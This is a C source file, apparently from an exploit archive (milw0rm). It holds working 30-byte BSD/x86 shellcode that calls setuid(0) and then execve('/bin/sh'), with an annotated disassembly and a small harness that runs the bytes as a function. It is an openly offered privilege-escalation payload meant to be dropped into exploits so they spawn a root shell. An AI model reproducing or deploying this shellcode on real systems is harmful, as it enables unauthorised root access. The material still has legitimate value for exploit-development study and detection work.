45 lines
No EOL
1.4 KiB
C
45 lines
No EOL
1.4 KiB
C
/*
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* $Id: setuid-bsd.c,v 1.6 2004/06/02 12:22:30 raptor Exp $
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*
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* setuid-bsd.c - setuid/execve shellcode for *BSD/x86
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* Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
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*
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* Short setuid(0) and /bin/sh execve() shellcode (based on esdee's code).
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*
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* Tested on OpenBSD and FreeBSD.
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*/
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/*
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* setuid(0)
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*
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* 20c8: 31 c0 xor %eax,%eax
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* 20ca: 50 push %eax
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* 20cb: 50 push %eax
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* 20cc: b0 17 mov $0x17,%al
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* 20ce: cd 80 int $0x80
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*
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* execve("/bin/sh", ["/bin/sh"], NULL)
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*
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* 20d0: 31 c0 xor %eax,%eax
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* 20d2: 50 push %eax
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* 20d3: 68 2f 2f 73 68 push $0x68732f2f
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* 20d8: 68 2f 62 69 6e push $0x6e69622f
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* 20dd: 89 e3 mov %esp,%ebx
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* 20df: 50 push %eax
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* 20e0: 54 push %esp
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* 20e1: 53 push %ebx
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* 20e2: 50 push %eax
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* 20e3: b0 3b mov $0x3b,%al
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* 20e5: cd 80 int $0x80
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*/
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char sc[] = /* 7 + 23 = 30 bytes */
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"\x31\xc0\x50\x50\xb0\x17\xcd\x80"
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"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";
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main()
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{
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int (*f)() = (int (*)())sc; f();
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}
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// milw0rm.com [2006-07-20]
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